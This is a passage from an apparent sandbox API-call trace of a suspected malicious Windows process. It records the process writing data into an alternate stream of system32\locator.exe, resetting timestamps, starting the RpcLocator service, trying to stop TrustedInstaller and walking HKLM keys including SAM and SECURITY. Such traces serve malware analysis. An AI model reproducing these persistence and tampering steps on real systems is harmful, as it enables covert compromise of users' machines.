Size=0x80) returned 0x58e8c8 [0258.345] NtClose (Handle=0xc8) returned 0x0 [0258.345] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe:0" (normalized: "c:\\windows\\system32\\locator.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0xd, ftCreationTime.dwLowDateTime=0x246dd, ftCreationTime.dwHighDateTime=0x18fc24, ftLastAccessTime.dwLowDateTime=0x77590a45, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x18fcc0)) returned 0 [0258.345] GetLastError () returned 0x2 [0258.345] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe:0" (normalized: "c:\\windows\\system32\\locator.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0258.347] SetFileTime (hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0258.347] WriteFile (in: hFile=0xc8, lpBuffer=0x1de96a0*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1de96a0*, lpNumberOfBytesWritten=0x18fc58*=0x2800, lpOverlapped=0x0) returned 1 [0258.348] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0258.348] SetFileTime (hFile=0xc8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c) returned 1 [0258.348] NtClose (Handle=0xc8) returned 0x0 [0258.348] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="RpcLocator", dwDesiredAccess=0x10) returned 0x5d6df8 [0258.349] StartServiceW (hService=0x5d6df8, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0259.704] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0259.705] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0259.705] GetLastError () returned 0x6 [0259.705] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de96a0) returned 1 [0259.705] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x5d3ac0) returned 1 [0259.706] CryptGenRandom (in: hProv=0x5d3ac0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0259.706] CryptReleaseContext (hProv=0x5d3ac0, dwFlags=0x0) returned 1 [0259.706] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x5d6d08 [0259.706] ControlService (in: hService=0x5d6d08, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0259.707] GetLastError () returned 0x426 [0259.707] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0259.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0259.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0259.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0259.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd29e0 [0259.715] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.715] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de4720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.716] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.716] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de4720, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.716] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de4de0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.716] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.716] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.716] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.717] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.717] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.717] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.717] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de4de0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0259.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.717] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.717] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.717] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.717] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x160) returned 0x0 [0259.717] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.717] RegEnumKeyW (in: hKey=0x160, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de4720, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0259.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.717] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.717] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.717] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.717] RegEnumKeyW (in: hKey=0x160, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.717] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de4de0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.718] RegEnumKeyW (in: hKey=0x160, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de4720, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.718] RegEnumKeyW (in: hKey=0x160, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de4de0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.718] RegEnumKeyW (in: hKey=0x160, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0259.718] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.718] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.718] RegEnumKeyW (in: hKey=0x160, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de4de0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.719] RegEnumKeyW (in: hKey=0x160, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.719] RegEnumKeyW (in: hKey=0x160, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de4de0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.719] RegEnumKeyW (in: hKey=0x160, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de4720, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0259.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.719] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.720] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.720] RegOpenKeyExW (in: hKey=0x160, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0259.720] RegCloseKey (hKey=0x160) returned 0x0 [0259.720] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de4de0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0259.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.720] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.720] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.720] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.720] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de4720, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0259.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.720] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0259.720] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.720] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.720] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0259.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de4de0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0259.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0259.720] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.720] 